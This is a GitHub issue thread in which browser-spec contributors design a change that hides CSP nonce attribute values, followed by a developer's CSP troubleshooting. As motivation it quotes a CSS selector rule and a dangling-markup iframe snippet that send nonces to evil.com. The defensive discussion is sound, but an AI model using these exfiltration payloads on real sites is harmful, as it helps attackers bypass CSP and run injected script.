You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
We've seen some recent attacks on CSP which rely on the ability to exfiltrate nonce data via various mechanisms that can grab data from content attributes. CSS selectors are the best example: through clever use of prefix/postfix text matching selectors values can be sent out to an attacker's server for reuse (script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); }). Chrome is experimenting with some changes that might help mitigate this risk, which seems fairly robust:
When parsing a <script> tag with a nonce attribute, copy the attribute's value in to an internal [[nonce]] slot on the element, and then overwrite the content attribute's value with the empty string.
When changing the value of the content attribute (e.g. via setAttributeValue), update the value of the internal [[nonce]] slot.
When running a script, pass in the [[nonce]] slot's value rather than the content attribute's value as the cryptographic nonce metadata to be used when fetching the script resource.
The nonce IDL attribute on HTMLScriptElement's getter returns the value of the internal [[nonce]] slot. Its setter sets the internal [[nonce]] slot's value. This enables JavaScript to retain access to the nonce value to manually propagate trust to scripts they require.
We'd want to do the above for every element that supports a nonce attribute. Some folks on the team suggest that it might actually be nice to extend this behavior to every element. That is, move this up to Element (or Node?) rather than special-casing the three elements that currently support nonces. If we extend nonce support to other resource types (as I'm told Mozilla has already done with images?), this might be more reasonable than special-casing even more elements.
What is the processing model for 2? What would getAttribute("nonce") return? It seems a little cleaner if content attribute changes had no effect (other than adding a nonce content attribute with a value and such) and nonce= in markup was just a way to invoke the nonce IDL attribute setter.
What is the processing model for 2? What would getAttribute("nonce") return?
I don't care too much about 2, honestly. The idea is than an application that doesn't want to give scripts the ability to propagate the nonce has the ability to clear it out before loading scripts they don't trust as much. I guess we could support that through removeAttribute, though. I'd be happy with that instead.
Per w3c/webappsec-csp#65 your suggestion would break scripts. Is that no longer true?
Ah, thanks for finding that! I knew you'd said "Hey, shouldn't we hide the nonce?" at some point, but I couldn't find the bug. :) The refinement here is that the nonce continues to be available via the nonce IDL attribute; we're only clearing out the content attribute's value. That is, document.querySelector('script[nonce]').getAttribute('nonce') would return an empty string, while document.querySelector('script[nonce]').nonce would return the nonce value. As long as the attacker doesn't have script access, they'll have a hard time making use of that value.
Re: the discussion in w3c/webappsec-csp#65 mentioned by @annevk -- I was, sadly, wrong about that. The attacks on nonces that we were worried about relied on injecting "dangling markup" where the legitimate nonce would become part of another attribute (e.g. something like <iframe src='//evil.com/...<foo></foo> <script nonce="secret"'>) so the parsed document would not contain the nonce` attribute and hiding it would not help much. However, it's also possible to exfiltrate nonces without putting the parser in a strange state, e.g. via DOM XSS by injecting styles and using CSS selectors to match on the value of the nonce attribute; hiding the nonce from the DOM mitigates such attacks.
The approach outlined by Mike above achieves the security goal (i.e. prevents exfiltration of the nonce via CSS and any similar techniques) but also allows nonce propagation because scripts can get its value by using the IDL attribute / .nonce property of the nonced script element.
But in that discussion you also said that we'd break existing scripts. So those libraries you mention there all use the nonce IDL attribute or you plan on breaking them or what?
The simplest answer is that we plan on breaking them; more accurately, we'd require them to be refactored to first check for the presence of the IDL attribute (for UAs which make this change), and if that fails, the DOM attribute (for UAs which don't). My guess is that potential breakage is most likely limited to Google (since we're the main, if not only, user of nonce-only CSP policies) and it's something we can deal with; but it would be good to add telemetry to see if this would be a problem anywhere else.
@annevk, et al: I uploaded a strawman PR (#2373) that applies the above to <link>. If it seems like a reasonable direction, I'll extend it to <script> and <style>. We could also move it up the stack (or make it a mixin of some sort?) if that's too much duplication...
@arturjanc: I know y'all are updating Google-internal libraries to propagate nonces using the IDL attribute rather than the content attribute. Do you plan to upstream changes to external libraries as well? Do external libraries do this yet, or has strict-dynamic obviated the need for enough folks to make it irrelevant? I'm not sure what metrics you'd like me to add to Blink to measure the impact of this change. Calls to getAttribute('nonce')?
Re (2), I think it would be pretty confusing for web developers if setAttribute is used and [[Cryptographic Nonce]] is left at its earlier value. But I also think it should not set the content attribute to the empty string and set [[Cryptographic Nonce]] to the new value -- we want people to use .nonce instead. How about making any modification to the content attribute, except from the parser, cause the element to be "Not Nonceable"? This would be an obvious failure mode that is easier to debug, where browser devtools can steer people towards using .nonce instead, and we don't end up running scripts that should not have run because the nonce was in a confusing state.
Re (2), I think it would be pretty confusing for web developers if setAttribute is used and [[Cryptographic Nonce]] is left at its earlier value. But I also think it should not set the content attribute to the empty string and set [[Cryptographic Nonce]] to the new value -- we want people to use .nonce instead. How about making any modification to the content attribute, except from the parser, cause the element to be "Not Nonceable"?
As background, I think the only case in which setting a nonce value is reasonable is during creation/insertion of a new script. That is:
var s = document.createElement('script');
s.src = 'whatever';
s.nonce = 'noncey-nonce';
document.body.appendChild(s);
In that situation, I honestly wouldn't care if s.setAttribute('nonce', 'noncey-nonce') worked as well. As long as it's done before the appendChild, no problem. Setting a nonce on an element once a script has executed or a resource has loaded or whatever seems like a strange thing to do, and I don't honestly expect anyone to do it (with the exception of preventing accidental/malicious nonce propagation by intentionally removing the nonce value).
To bring in the conversation from #2373 (comment): this patch basically decouples the IDL and content attributes (e.g. whatever.setAttribute('nonce', 'whatever') pokes at the content attribute's value, but doesn't change the internal slot, and vice-versa with whatever.nonce = 'whatever'). That seems more conceptually defensible than linking the two in some cases but not in others.
Should the fragment parser (i.e. innerHTML) be allowed to set [[Cryptographic Nonce]]?
Sure. It seems like it would be surprising to prevent that... am I missing something? In general, I'd imagined that we deal with the nonce content attribute as it exists when the element is inserted into a document, however it's inserted. I'm pretty much fine with accepting el.innerHTML = "<script nonce='yay'>alert(1);</scr" + "ipt>"; and breaking document.body.appendChild(document.querySelector('script').remove()), for example.
Should [[Cryptographic Nonce]] be cloned with cloneNode()?
Good question. Do we clone other kinds of state (e.g. parser-inserted or already-started flags?)? I don't think we do. I'd suggest we follow the behavior for those flags for this slot.
The cloning steps for script elements must set the "already started" flag on the copy if it is set on the element being cloned.
The other pieces of state are not cloned for script. But considering <template><script nonce="...">... I suppose it is expected that the nonce would be copied to the clone?
I desperately need some insight into this problem I am having. I set a nonce e.g. <script nonce="some-nonce"></script> and I can see it in page source, but when I use google developer tools to inspect the script it just shows <script nonce></script> and the script fails the CSP for the specified nonce value.
Any idea why?
After this I tried using a hash of the code as the CSP, but that didn't work either...
I have to have a bit of inline script because I am using pug which has variables passed from Express, and I have found no way of getting those values into my script when it is just a script file. Plus I need inline styles for page-load speed.
On Thu, Nov 9, 2017, 18:19 George Campbell ***@***.***> wrote:
I desperately need some insight into this problem I am having. I set a
nonce e.g. <script nonce="some-nonce"></script> and I can see it in page
source, but when I use google developer tools to inspect the script it just
shows <script nonce></script> and the script fails the CSP for the
specified nonce value.
Any idea why?
After this I tried using a hash of the code as the CSP, but that didn't
work either...
I have to have a bit of inline script because I am using pug which has
variables passed from Express, and I have found no way of getting those
values into my script when it is just a script file. Plus I need inline
styles for page-load speed.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
<#2369 (comment)>, or mute
the thread
<https://github.com/notifications/unsubscribe-auth/AA8hlUkpqBZwX9x7xSoa0Pw1TrmGZOSpks5s0zPTgaJpZM4MEH4r>
.
Thank you that helps. I have the script nonce working, but the style nonce is not working, despite I can see the CSP for style has the same nonce as the style has. So I am stuck again. I am also receiving:
Refused to load the image 'https://localhost:3000/images/loading-icon.png' because it violates the following Content Security Policy directive: "img-src 'self'" Despite loading from self.
I am also receiving:
Refused to load the script 'https://localhost:3000/js/client.js' because it violates the following Content Security Policy directive: "script-src 'self' 'nonce-fcffe281-993c-40a7-a241-910ad71087b3'
Which is NOT an inine script, it is a file....
For the first error, the only possibility is that the image is not
same-origin (scheme + host + port).
For the second, consider that also sourced and dynamically sourced scripts
have to have a correct nonce.
On Thu, Nov 9, 2017, 18:41 George Campbell ***@***.***> wrote:
Thank you that helps. I have the script nonce working, but the style nonce
is not working, despite I can see the CSP for style has the same nonce as
the style has. So I am stuck again. I am also receiving:
Refused to load the image 'https://localhost:3000/images/loading-icon.png'
because it violates the following Content Security Policy directive:
"img-src 'self'" Despite loading from self.
I am also receiving:
Refused to load the script 'https://localhost:3000/js/client.js' because
it violates the following Content Security Policy directive: "script-src
'self' 'nonce-fcffe281-993c-40a7-a241-910ad71087b3'
Which is NOT an inine script, it is a file....
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
<#2369 (comment)>, or mute
the thread
<https://github.com/notifications/unsubscribe-auth/AA8hlU8z-4hVcNaRD3xUfhj7a3L89Yr7ks5s0zlEgaJpZM4MEH4r>
.
Thanks.
The image issue was because I was using upgradeInsecureRequests: true
and so when running on localhost without https it was causing this issue. These images are working now.
As for the other scripts, adding the nonce is working and the page is functional.
The inline styles are applying to the page, but I am still getting the error in the console that they are blocked by CSP. It has the same message 7-11 times, but only 1 inline style. Any idea why? I do not like these console messages but I suppose I can live with them.
Finally, some of the images aren't actually loading, so I have to look into this.
Activity
annevk commentedon Feb 17, 2017
What is the processing model for 2? What would
getAttribute("nonce")return? It seems a little cleaner if content attribute changes had no effect (other than adding anoncecontent attribute with a value and such) andnonce=in markup was just a way to invoke thenonceIDL attribute setter.annevk commentedon Feb 17, 2017
Per w3c/webappsec-csp#65 your suggestion would break scripts. Is that no longer true?
mikewest commentedon Feb 17, 2017
I don't care too much about 2, honestly. The idea is than an application that doesn't want to give scripts the ability to propagate the nonce has the ability to clear it out before loading scripts they don't trust as much. I guess we could support that through
removeAttribute, though. I'd be happy with that instead.Ah, thanks for finding that! I knew you'd said "Hey, shouldn't we hide the nonce?" at some point, but I couldn't find the bug. :) The refinement here is that the nonce continues to be available via the
nonceIDL attribute; we're only clearing out the content attribute's value. That is,document.querySelector('script[nonce]').getAttribute('nonce')would return an empty string, whiledocument.querySelector('script[nonce]').noncewould return the nonce value. As long as the attacker doesn't have script access, they'll have a hard time making use of that value.zcorpan commentedon Feb 17, 2017
Should
nonce"work" in the XML syntax (it would violate the XML spec, but we already do that for some things such as<template>)?mikewest commentedon Feb 17, 2017
@zcorpan: What do you mean?
zcorpan commentedon Feb 17, 2017
I mean, should the attribute value of
noncebe the empty string from parsing this XML?mikewest commentedon Feb 17, 2017
Got it. Yes, I'd suggest treating that in the same way. :)
arturjanc commentedon Feb 18, 2017
Re: the discussion in w3c/webappsec-csp#65 mentioned by @annevk -- I was, sadly, wrong about that. The attacks on nonces that we were worried about relied on injecting "dangling markup" where the legitimate nonce would become part of another attribute (e.g. something like
<iframe src='//evil.com/...<foo></foo> <script nonce="secret"'>) so the parsed document would not contain thenonce` attribute and hiding it would not help much. However, it's also possible to exfiltrate nonces without putting the parser in a strange state, e.g. via DOM XSS by injecting styles and using CSS selectors to match on the value of the nonce attribute; hiding the nonce from the DOM mitigates such attacks.The approach outlined by Mike above achieves the security goal (i.e. prevents exfiltration of the nonce via CSS and any similar techniques) but also allows nonce propagation because scripts can get its value by using the IDL attribute /
.nonceproperty of the nonced script element.annevk commentedon Feb 18, 2017
But in that discussion you also said that we'd break existing scripts. So those libraries you mention there all use the
nonceIDL attribute or you plan on breaking them or what?arturjanc commentedon Feb 18, 2017
The simplest answer is that we plan on breaking them; more accurately, we'd require them to be refactored to first check for the presence of the IDL attribute (for UAs which make this change), and if that fails, the DOM attribute (for UAs which don't). My guess is that potential breakage is most likely limited to Google (since we're the main, if not only, user of nonce-only CSP policies) and it's something we can deal with; but it would be good to add telemetry to see if this would be a problem anywhere else.
WIP: Hide nonce content attribute values. (#2369)
mikewest commentedon Feb 20, 2017
@annevk, et al: I uploaded a strawman PR (#2373) that applies the above to
<link>. If it seems like a reasonable direction, I'll extend it to<script>and<style>. We could also move it up the stack (or make it a mixin of some sort?) if that's too much duplication...@arturjanc: I know y'all are updating Google-internal libraries to propagate nonces using the IDL attribute rather than the content attribute. Do you plan to upstream changes to external libraries as well? Do external libraries do this yet, or has
strict-dynamicobviated the need for enough folks to make it irrelevant? I'm not sure what metrics you'd like me to add to Blink to measure the impact of this change. Calls togetAttribute('nonce')?zcorpan commentedon Feb 20, 2017
Re (2), I think it would be pretty confusing for web developers if
setAttributeis used and [[Cryptographic Nonce]] is left at its earlier value. But I also think it should not set the content attribute to the empty string and set [[Cryptographic Nonce]] to the new value -- we want people to use.nonceinstead. How about making any modification to the content attribute, except from the parser, cause the element to be "Not Nonceable"? This would be an obvious failure mode that is easier to debug, where browser devtools can steer people towards using.nonceinstead, and we don't end up running scripts that should not have run because the nonce was in a confusing state.4 remaining items
zcorpan commentedon Feb 20, 2017
New question. Should [[Cryptographic Nonce]] be cloned with
cloneNode()?mikewest commentedon Feb 21, 2017
Thanks, @zcorpan!
As background, I think the only case in which setting a nonce value is reasonable is during creation/insertion of a new script. That is:
In that situation, I honestly wouldn't care if
s.setAttribute('nonce', 'noncey-nonce')worked as well. As long as it's done before theappendChild, no problem. Setting a nonce on an element once a script has executed or a resource has loaded or whatever seems like a strange thing to do, and I don't honestly expect anyone to do it (with the exception of preventing accidental/malicious nonce propagation by intentionally removing the nonce value).To bring in the conversation from #2373 (comment): this patch basically decouples the IDL and content attributes (e.g. whatever.setAttribute('nonce', 'whatever') pokes at the content attribute's value, but doesn't change the internal slot, and vice-versa with whatever.nonce = 'whatever'). That seems more conceptually defensible than linking the two in some cases but not in others.
Sure. It seems like it would be surprising to prevent that... am I missing something? In general, I'd imagined that we deal with the
noncecontent attribute as it exists when the element is inserted into a document, however it's inserted. I'm pretty much fine with acceptingel.innerHTML = "<script nonce='yay'>alert(1);</scr" + "ipt>";and breakingdocument.body.appendChild(document.querySelector('script').remove()), for example.Good question. Do we clone other kinds of state (e.g.
parser-insertedoralready-startedflags?)? I don't think we do. I'd suggest we follow the behavior for those flags for this slot.zcorpan commentedon Feb 21, 2017
https://html.spec.whatwg.org/#script-processing-model
The other pieces of state are not cloned for
script. But considering<template><script nonce="...">...I suppose it is expected that the nonce would be copied to the clone?mikewest commentedon Feb 21, 2017
I think I'd expect that, yes.
Hide 'nonce' content attributes.
campbellgoe commentedon Nov 9, 2017
I desperately need some insight into this problem I am having. I set a nonce e.g. <script nonce="some-nonce"></script> and I can see it in page source, but when I use google developer tools to inspect the script it just shows <script nonce></script> and the script fails the CSP for the specified nonce value.
Any idea why?
After this I tried using a hash of the code as the CSP, but that didn't work either...
I have to have a bit of inline script because I am using pug which has variables passed from Express, and I have found no way of getting those values into my script when it is just a script file. Plus I need inline styles for page-load speed.
mikispag commentedon Nov 9, 2017
campbellgoe commentedon Nov 9, 2017
Thank you that helps. I have the script nonce working, but the style nonce is not working, despite I can see the CSP for style has the same nonce as the style has. So I am stuck again. I am also receiving:
Refused to load the image 'https://localhost:3000/images/loading-icon.png' because it violates the following Content Security Policy directive: "img-src 'self'" Despite loading from self.
I am also receiving:
Refused to load the script 'https://localhost:3000/js/client.js' because it violates the following Content Security Policy directive: "script-src 'self' 'nonce-fcffe281-993c-40a7-a241-910ad71087b3'
Which is NOT an inine script, it is a file....
mikispag commentedon Nov 9, 2017
campbellgoe commentedon Nov 9, 2017
thank you. do I need a unique nonce for each script and style?
mikispag commentedon Nov 9, 2017
campbellgoe commentedon Nov 9, 2017
Thanks.
The image issue was because I was using upgradeInsecureRequests: true
and so when running on localhost without https it was causing this issue. These images are working now.
As for the other scripts, adding the nonce is working and the page is functional.
The inline styles are applying to the page, but I am still getting the error in the console that they are blocked by CSP. It has the same message 7-11 times, but only 1 inline style. Any idea why? I do not like these console messages but I suppose I can live with them.
Finally, some of the images aren't actually loading, so I have to look into this.
Again, thanks for helping.
campbellgoe commentedon Nov 9, 2017
It is all working now and those messages have stopped appearing.
Hide nonce content attribute values